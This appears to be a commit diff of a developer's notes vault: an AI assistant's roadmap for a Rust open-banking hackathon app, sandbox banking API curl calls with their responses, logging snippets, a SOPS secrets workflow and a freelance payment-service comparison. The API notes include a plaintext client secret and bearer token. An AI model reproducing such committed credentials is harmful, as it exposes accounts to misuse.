Now that we have authentication, we can start building the core features. The ultimate goal is to fetch data, process it, and present it, including generating images of transactions. Here is a logical roadmap to get there. I propose we tackle these one by one, with a consensus check at each stage.
**Stage 1: Fetching Core Data (The "Read" part)**
1. **Implement Account & Transaction Models**: Define the `Account` and `Transaction` structs in `src/api/banking.rs` based on the OpenAPI specifications for the hackathon. This gives us the data structures to hold the information we'll fetch.
2. **Implement `get_accounts()`**: Create a method in `BankClient` to fetch a list of accounts for a specific user. This will be our first real, authenticated API call using the token.
3. **Create an Axum Handler for Accounts**: Add a new route like `GET /api/accounts/:bank/:user_id` that uses the `get_accounts()` method and returns the data as JSON. This will allow us to test the full flow.
**Stage 2: Storing and Aggregating Data (The "Write" part)**
1. **Database Schema**: Define the SQL schema for `accounts` and `transactions` in our PostgreSQL database. We'll need to decide what information to store.
2. **Save to DB**: Modify the Axum handler from Stage 1 to save the fetched accounts and transactions to our database. This is the foundation for creating a unified view of a user's finances.
**Stage 3: Visualization (The "Image Generation" part)**
1. **Choose an Image Crate**: Research and select a suitable Rust crate for generating images (e.g., `image`, `plotters`, `svg`). `plotters` is a strong contender as it's designed for data visualization and can render to various formats.
2. **Create an Image Generation Service**: Build a new module (e.g., `src/image_gen.rs`) that takes a list of transactions (fetched from our DB) and generates a visual representation, like a bar chart of spending by category or a timeline.
3. **Expose via API**: Create a final Axum handler, perhaps `GET /api/transactions/:user_id/image`, that generates and returns the image file.
---
## Let's Start with Stage 1.1
I propose we begin with the first, most fundamental step: **defining the data models for Accounts and Transactions**. This is low-risk, gets us closer to our goal, and is a prerequisite for everything else.
Does this roadmap and starting point make sense to you? Once we agree, I can provide the specific code snippets for the data models.
1. [https://abank.open.bankingapi.ru](https://abank.open.bankingapi.ru)
2. [https://www.reddit.com/r/rust/comments/1ia29hp/safest_way_to_store_api_keys_for_production_tauri/](https://www.reddit.com/r/rust/comments/1ia29hp/safest_way_to_store_api_keys_for_production_tauri/)
3. [https://www.reddit.com/r/rust/comments/l5b0pq/how_to_manage_api_keys_in_an_open_source_project/](https://www.reddit.com/r/rust/comments/l5b0pq/how_to_manage_api_keys_in_an_open_source_project/)
4. [https://github.com/IAmMadfly/rust-up-bank-rest-api](https://github.com/IAmMadfly/rust-up-bank-rest-api)
5. [https://stackoverflow.com/questions/57650692/where-to-store-the-refresh-token-on-the-client](https://stackoverflow.com/questions/57650692/where-to-store-the-refresh-token-on-the-client)
6. [https://docs.rs/near-contract-standards/latest/near_contract_standards/storage_management/index.html](https://docs.rs/near-contract-standards/latest/near_contract_standards/storage_management/index.html)
7. [https://stackoverflow.com/questions/58972571/where-to-securely-store-an-access-token-used-for-api-requests-from-the-monzo-ban](https://stackoverflow.com/questions/58972571/where-to-securely-store-an-access-token-used-for-api-requests-from-the-monzo-ban)
8. [https://tms-dev-blog.com/jwt-security-for-a-rust-rest-api/](https://tms-dev-blog.com/jwt-security-for-a-rust-rest-api/)
9. [https://auth0.com/blog/build-an-api-in-rust-with-jwt-authentication-using-actix-web/](https://auth0.com/blog/build-an-api-in-rust-with-jwt-authentication-using-actix-web/)
10. [https://users.rust-lang.org/t/best-practices-for-managing-authentication-and-sessions-in-rust-web-applications/115884](https://users.rust-lang.org/t/best-practices-for-managing-authentication-and-sessions-in-rust-web-applications/115884)

416
20-dev/00-rust/multibank.md Normal file
View file

@ -0,0 +1,416 @@
psd2
ngrok
---
POST
/auth/bank-token
```bash
curl -X 'POST' \
'https://vbank.open.bankingapi.ru/auth/bank-token?client_id=team275&client_secret=super6ecretid' \
-H 'accept: application/json' \
-d ''
```
```json
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZWFtMjc1IiwiY2xpZW50X2lkIjoidGVhbTI3NSIsInR5cGUiOiJ0ZWFtIiwiaXNzIjoidmJhbmsiLCJhdWQiOiJvcGVuYmFua2luZyIsImV4cCI6MTc2MjUyMjM0MX0.5VNzRnhXnkTA5IkJok-9L-zDGYQSrRmFkGAyw2FM4k0",
"token_type": "bearer",
"client_id": "team275",
"algorithm": "HS256",
"expires_in": 86400
}
```
---
POST
/account-consents/request
```bash
curl -X 'POST' \
'https://vbank.open.bankingapi.ru/account-consents/request' \
-H 'accept: application/json' \
-H 'x-requesting-bank: team275' \
-H 'Content-Type: application/json' \
-d '{
"client_id": "team275-6",
"permissions": [
"ReadAccountsDetail",
"ReadBalances",
"ReadTransactionsDetail"
],
"reason": "",
"requesting_bank": "test_bank",
"requesting_bank_name": "Test Bank"
}'
```
json response:
```json
{
"request_id": "req-73fdb8b9d63e",
"consent_id": "consent-46965b4ef205",
"status": "approved",
"message": "Согласие одобрено автоматически",
"created_at": "2025-11-06T13:21:06.556824",
"auto_approved": true
}
```
---
GET
/account-consents/{consent_id}
```bash
curl -X 'GET' \
'https://vbank.open.bankingapi.ru/account-consents/consent-46965b4ef205' \
-H 'accept: application/json' \
-H 'x-fapi-interaction-id: team275-6'
```
```json
{
"data": {
"consentId": "consent-46965b4ef205",
"status": "Authorized",
"creationDateTime": "2025-11-06T13:21:06.557680Z",
"statusUpdateDateTime": "2025-11-06T13:21:06.557680Z",
"permissions": [
"ReadAccountsDetail",
"ReadBalances",
"ReadTransactionsDetail"
],
"expirationDateTime": "2026-11-06T13:21:06.557675Z"
},
"links": {
"self": "/account-consents/consent-46965b4ef205"
},
"meta": {}
}
```
---
DELETE
/account-consents/{consent_id}
```bash
curl -X 'DELETE' \
'https://vbank.open.bankingapi.ru/account-consents/consent-46965b4ef205' \
-H 'accept: */*' \
-H 'x-fapi-interaction-id: team275-6'
```
204
access-control-allow-credentials: true access-control-allow-origin: https://vbank.open.bankingapi.ru content-security-policy: upgrade-insecure-requests date: Thu,06 Nov 2025 13:30:50 GMT server: nginx/1.29.2 strict-transport-security: max-age=63072000; includeSubDomains; preload vary: Origin
---
GET
/accounts
```bash
curl -X 'GET' \
'https://vbank.open.bankingapi.ru/accounts?client_id=team275-6' \
-H 'accept: application/json' \
-H 'x-consent-id: consent-46965b4ef205' \
-H 'x-requesting-bank: team275'
```
```json
{
"data": {
"account": [
{
"accountId": "acc-3846",
"status": "Enabled",
"currency": "RUB",
"accountType": "Personal",
"accountSubType": "Checking",
"nickname": "Checking счет",
"openingDate": "2024-10-30",
"account": [
{
"schemeName": "RU.CBR.PAN",
"identification": "4081781027506084636",
"name": "Пенсионеров Пенсионер Пенсионерович (team275)"
}
]
}
]
},
"links": {
"self": "/accounts"
},
"meta": {
"totalPages": 1
}
}
```
---
```bash
curl -X 'GET' \
'https://vbank.open.bankingapi.ru/accounts/acc-3846' \
-H 'accept: application/json' \
-H 'x-consent-id: consent-46965b4ef205' \
-H 'x-requesting-bank: team275'
```
```json
{
"data": {
"account": [
{
"accountId": "acc-3846",
"status": "Enabled",
"currency": "RUB",
"accountType": "Personal",
"accountSubType": "Checking",
"description": "checking account",
"nickname": "Checking счет",
"openingDate": "2024-10-30"
}
]
}
}
```
---
```bash
curl -X 'GET' \
'https://vbank.open.bankingapi.ru/accounts/acc-3846/balances' \
-H 'accept: application/json' \
-H 'x-consent-id: consent-46965b4ef205' \
-H 'x-requesting-bank: team275'
```
```json
{
"data": {
"balance": [
{
"accountId": "acc-3846",
"type": "InterimAvailable",
"dateTime": "2025-11-06T14:50:59.151865Z",
"amount": {
"amount": "121398.37",
"currency": "RUB"
},
"creditDebitIndicator": "Credit"
},
{
"accountId": "acc-3846",
"type": "InterimBooked",
"dateTime": "2025-11-06T14:50:59.151876Z",
"amount": {
"amount": "121398.37",
"currency": "RUB"
},
"creditDebitIndicator": "Credit"
}
]
}
}
```
---
```bash
curl -X 'GET' \
'https://vbank.open.bankingapi.ru/accounts/acc-3846/transactions?from_booking_date_time=2025-01-01T00%3A00%3A00Z&to_booking_date_time=2025-12-31T23%3A59%3A59Z&page=1&limit=3' \
-H 'accept: application/json' \
-H 'x-consent-id: consent-46965b4ef205' \
-H 'x-requesting-bank: team275'
```
```json
{
"data": {
"transaction": [
{
"accountId": "acc-3846",
"transactionId": "tx-team275-6-m0-1",
"amount": {
"amount": "114911.38",
"currency": "RUB"
},
"creditDebitIndicator": "Credit",
"status": "Booked",
"bookingDateTime": "2025-10-28T17:59:45.080562Z",
"valueDateTime": "2025-10-28T17:59:45.080562Z",
"transactionInformation": "💼 Зарплата",
"bankTransactionCode": {
"code": "ReceivedCreditTransfer"
}
},
{
"accountId": "acc-3846",
"transactionId": "tx-team275-6-m0-5",
"amount": {
"amount": "8378.49",
"currency": "RUB"
},
"creditDebitIndicator": "Debit",
"status": "Booked",
"bookingDateTime": "2025-10-25T17:59:45.080562Z",
"valueDateTime": "2025-10-25T17:59:45.080562Z",
"transactionInformation": "🎬 Развлечения/Покупки",
"bankTransactionCode": {
"code": "IssuedDebitTransfer"
}
},
{
"accountId": "acc-3846",
"transactionId": "tx-team275-6-m0-4",
"amount": {
"amount": "2707.49",
"currency": "RUB"
},
"creditDebitIndicator": "Debit",
"status": "Booked",
"bookingDateTime": "2025-10-22T17:59:45.080562Z",
"valueDateTime": "2025-10-22T17:59:45.080562Z",
"transactionInformation": "🚌 Транспорт",
"bankTransactionCode": {
"code": "IssuedDebitTransfer"
}
}
]
},
"links": {
"self": "/accounts/acc-3846/transactions?page=1&limit=3",
"next": "/accounts/acc-3846/transactions?page=2&limit=3"
},
"meta": {
"totalPages": 24,
"totalRecords": 70,
"currentPage": 1,
"pageSize": 3
}
}
```
следующие 6 страниц:
```bash
curl -X 'GET' \
'https://vbank.open.bankingapi.ru/accounts/acc-3846/transactions?from_booking_date_time=2025-01-01T00%3A00%3A00Z&to_booking_date_time=2025-12-31T23%3A59%3A59Z&page=2&limit=6' \
-H 'accept: application/json' \
-H 'x-consent-id: consent-46965b4ef205' \
-H 'x-requesting-bank: team275'
```
```json
{
"data": {
"transaction": [
{
"accountId": "acc-3846",
"transactionId": "tx-team275-6-m1-1",
"amount": {
"amount": "135275.00",
"currency": "RUB"
},
"creditDebitIndicator": "Credit",
"status": "Booked",
"bookingDateTime": "2025-09-28T17:59:45.080562Z",
"valueDateTime": "2025-09-28T17:59:45.080562Z",
"transactionInformation": "💼 Зарплата",
"bankTransactionCode": {
"code": "ReceivedCreditTransfer"
}
},
{
"accountId": "acc-3846",
"transactionId": "tx-team275-6-m1-5",
"amount": {
"amount": "7164.52",
"currency": "RUB"
},
"creditDebitIndicator": "Debit",
"status": "Booked",
"bookingDateTime": "2025-09-25T17:59:45.080562Z",
"valueDateTime": "2025-09-25T17:59:45.080562Z",
"transactionInformation": "🎬 Развлечения/Покупки",
"bankTransactionCode": {
"code": "IssuedDebitTransfer"
}
},
{
"accountId": "acc-3846",
"transactionId": "tx-team275-6-m1-4",
"amount": {
"amount": "3052.32",
"currency": "RUB"
},
"creditDebitIndicator": "Debit",
"status": "Booked",
"bookingDateTime": "2025-09-22T17:59:45.080562Z",
"valueDateTime": "2025-09-22T17:59:45.080562Z",
"transactionInformation": "🚌 Транспорт",
"bankTransactionCode": {
"code": "IssuedDebitTransfer"
}
},
{
"accountId": "acc-3846",
"transactionId": "tx-team275-6-m1-3",
"amount": {
"amount": "20870.88",
"currency": "RUB"
},
"creditDebitIndicator": "Debit",
"status": "Booked",
"bookingDateTime": "2025-09-20T17:59:45.080562Z",
"valueDateTime": "2025-09-20T17:59:45.080562Z",
"transactionInformation": "🏠 ЖКХ/Аренда",
"bankTransactionCode": {
"code": "IssuedDebitTransfer"
}
},
{
"accountId": "acc-3846",
"transactionId": "tx-team275-6-m1-6",
"amount": {
"amount": "22441.23",
"currency": "RUB"
},
"creditDebitIndicator": "Credit",
"status": "Booked",
"bookingDateTime": "2025-09-18T17:59:45.080562Z",
"valueDateTime": "2025-09-18T17:59:45.080562Z",
"transactionInformation": "💰 Подработка/Бонус",
"bankTransactionCode": {
"code": "ReceivedCreditTransfer"
}
},
{
"accountId": "acc-3846",
"transactionId": "tx-team275-6-m1-2",
"amount": {
"amount": "7699.96",
"currency": "RUB"
},
"creditDebitIndicator": "Debit",
"status": "Booked",
"bookingDateTime": "2025-09-15T17:59:45.080562Z",
"valueDateTime": "2025-09-15T17:59:45.080562Z",
"transactionInformation": "🏪 Продукты",
"bankTransactionCode": {
"code": "IssuedDebitTransfer"
}
}
]
},
"links": {
"self": "/accounts/acc-3846/transactions?page=2&limit=6",
"next": "/accounts/acc-3846/transactions?page=3&limit=6",
"prev": "/accounts/acc-3846/transactions?page=1&limit=6"
},
"meta": {
"totalPages": 12,
"totalRecords": 70,
"currentPage": 2,
"pageSize": 6
}
}
```

View file

@ -0,0 +1 @@
https://wasm-bindgen.github.io/wasm-bindgen/?search=logging

View file

@ -0,0 +1,46 @@
```rust
use dioxus::prelude::*;
use dioxus_logger::tracing::{Level, info};
fn main() {
dioxus_logger::init(Level::INFO).expect("logger failed to init");
dioxus::launch(App);
}
#[component]
fn App() -> Element {
info!("App rendered");
rsx! {
p { "hi" }
}
}
```
```rust
use dioxus::prelude::*;
use dioxus::logger::tracing::{Level, info};
fn main() {
dioxus::logger::init(Level::INFO).expect("logger failed to init");
dioxus::launch(App);
}
#[component]
fn App() -> Element {
info!("App rendered");
rsx! {
p { "hi" }
}
}
```
```rust
fn main() {
// Включает стандартный форматер с временем в UTC
tracing_subscriber::fmt::init();
tracing::info!("Это сообщение будет с временной меткой.");
}
```
https://crates.io/crates/dioxus-logger

View file

@ -0,0 +1,130 @@
You are absolutely right. **My previous example was "Tutorial Mode" (easy to start), not "Professional/Solid Mode".**
For a "Solid Practice" workflow, **you should never commit credentials** to `reshape.toml`. Since you are already using **SOPS**, we should leverage it to inject the credentials at runtime.
Here is the **Professional "Rustacean" Workflow** using `sops`, `just`, and environment variables.
### 1. The Strategy
1. **`.env.enc` (Encrypted)**: Holds the `POSTGRES_PASSWORD` and `POSTGRES_USER`.
2. **`reshape.toml` (Generic)**: Contains only structure (host, port, db name), **no secrets**.
3. **`Justfile` (The Glue)**: Unwraps the secrets from SOPS and injects them as environment variables (`PGPASSWORD`) which the underlying Rust Postgres driver (used by Reshape) should respect.
***
### 2. Implementation
#### Step A: Configure `.env` and Encrypt it
Create your `.env` (or edit your existing one) to include the standard Postgres environment variables.
```bash
# .env (Local unencrypted version for setup)
POSTGRES_USER=bootcamp
POSTGRES_PASSWORD=my_super_secure_password
POSTGRES_DB=pizzeria
# Standard env var that libpq/rust-postgres clients read automatically
PGPASSWORD=my_super_secure_password
PGUSER=bootcamp
PGHOST=localhost
```
**Encrypt it with SOPS:**
*(Assuming you ran `just setup-secrets` from my previous answer)*
```bash
sops --encrypt --age $(grep -oP "public key: \K.*" .config/keys.txt) --input-type
dotenv --output-type dotenv .env > .env.enc
```
*Add `.env` to `.gitignore`. Commit `.env.enc`.*
#### Step B: Clean `reshape.toml`
Remove the credentials from the configuration file.
```toml
# reshape.toml
[database]
host = "localhost"
port = 5432
name = "pizzeria"
# username = ... <-- REMOVE THESE
# password = ... <-- REMOVE THESE
[migrations]
directory = "migrations"
```
#### Step C: Update `Justfile` (The Magic)
We will use `sops exec-env` to inject the `PGPASSWORD` variable into the environment before `reshape` starts.
**How this works:**
Most Rust database tools (including those using `tokio-postgres` which Reshape likely uses) will look for standard environment variables like `PGPASSWORD` or `PGUSER` if they are missing from the explicit config.
```just
set dotenv-load
# Wrapper to run commands with decrypted secrets
with-secrets cmd:
sops exec-env .env.enc "{{cmd}}"
# ---------------------------------------------------------
# DATABASE MIGRATION COMMANDS (Using Sops)
# ---------------------------------------------------------
# Init: Starts DB and runs migrations securely
init: up
@echo "Waiting for Postgres..."
@sleep 2
just migrate
# Migrate: Injects PGPASSWORD/PGUSER from .env.enc -> reshape
migrate:
@echo "Applying migrations..."
# We explicitly export PGUSER/PGPASSWORD from the Sops env for Reshape
sops exec-env .env.enc -- reshape migrate
# Create new migration
add name:
reshape migration create {{name}}
# Undo/Abort
undo:
sops exec-env .env.enc -- reshape migration abort
# ---------------------------------------------------------
# INFRASTRUCTURE
# ---------------------------------------------------------
up:
# Docker also needs the secrets to start the container
just with-secrets "docker-compose up -d"
down:
docker-compose down
tui:
# Gobang also needs secrets
just with-secrets "gobang -h localhost -p 5432 -d ${POSTGRES_DB}"
```
### 3. The "Paranoid" Alternative (Template Rendering)
If `reshape` (in some specific version) decides to **ignore** environment variables and *strictly* demands a password in `reshape.toml`, the "Solid" pattern is **Config Generation**.
You would treat `reshape.toml` as a template.
1. Create `reshape.toml.tmpl` (with placeholders like `${POSTGRES_PASSWORD}`).
2. Add `reshape.toml` to `.gitignore`.
3. Update `Justfile` to render it on the fly:
```just
# Justfile (Alternative "Template" approach)
migrate:
# 1. Decrypt env
# 2. Use envsubst to replace vars in template -> create real toml
# 3. Run reshape
# 4. Delete real toml (cleanup)
sops exec-env .env.enc -- bash -c "envsubst < reshape.toml.tmpl > reshape.toml && reshape migrate && rm reshape.toml"
```
**My Recommendation:** Try the **Environment Variable (Step C)** method first. It is cleaner, standard for "Cloud Native" apps, and doesn't involve creating/deleting temporary files. Only use the Template method if the tool forces you to.

0
20-dev/python/README.md Normal file
View file

0
2025-11-14.md Normal file
View file

0
2025-11-22.md Normal file
View file

11
30-money/Untitled.md Normal file
View file

@ -0,0 +1,11 @@
source craft - Dima
kafka
k8s
clickhouse(?)
voice2text
rendering
video
video-anal
rsync

View file

@ -0,0 +1,10 @@
| | | | |
| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
| Сервис | Тарифы | Условия | Надёжность |
| EasyStaff | «От 6%» на инвойс-сервисе. Также фиксированная ставка €39 / $42 или тарифы от ~4-10% в зависимости от суммы. | Условия зависят от метода вывода (карта, крипта, SEPA) и объёма. Есть тарифы «фикс» и «%». Не всегда выгодно. | Давно на рынке, удобный сайт, но люди не особо любят за комиссию. |
| SolarStaff | Точных цифр нет; в обзорах упоминают 2,5-3,5% для вывода на карту РФ. | Комиссия для клиента, а не чётко для исполнителя; условия могут отличаться. Не всегда выгодно. | Давно на рынке, удобный сайт, но тоже люди не любят. В первые годы ещё было ОК, а сейчас часто встречаю хейт на Хабре. |
| MoneyPort | Комиссия по индивидуальным условиям без скрытых платежей. Вывод на ИП, но можно и для физлица. Юристы помогают с документами. | Отдельное условия: переводы от 20 минут до 24 часов с гарантией, что деньги отправят надёжным способом. | Высокий класс надёжности, на рынке с 2022 года. |
| LetsPay | Комиссия — 4% от суммы инвойса, без комиссий сервиса; конвертация по курсу ЦБ. В обзорах люди упом<D0BE><D0BC>нают 9% от выручки за заказ + комиссия биржи. | Есть нюансы: только определённые схемы, через посредников; тарифы могут быть выше. | Не очень гибко. |
| Gtpaid | Комиссия — от 3,5% до ~7,09% за перевод. | Только для ИП/ООО по ИТ-услугам. | Высокая надёжность, но применимо для единиц, для крупных сеньоров. |
| Deel | Нет публичных точных фикс-комиссий для РФ; выводы и комиссии зависят от метода. | Сервис больше ориентирован на компании, чем на единичных фрилансеров из РФ. | Недостаёт точной публичной информации. |

View file

@ -0,0 +1,4 @@
**Forgejo**
**Radicle**

Binary file not shown.

After

Width:  |  Height:  |  Size: 84 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 84 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

3
Untitled 1.base Normal file
View file

@ -0,0 +1,3 @@
views:
- type: table
name: Table

1
Untitled 1.canvas Normal file
View file

@ -0,0 +1 @@
{}

1
Untitled 2.canvas Normal file
View file

@ -0,0 +1 @@
{}

1
Untitled 3.canvas Normal file
View file

@ -0,0 +1 @@
{}

3
Untitled.base Normal file
View file

@ -0,0 +1,3 @@
views:
- type: table
name: Table

1
Untitled.canvas Normal file
View file

@ -0,0 +1 @@
{}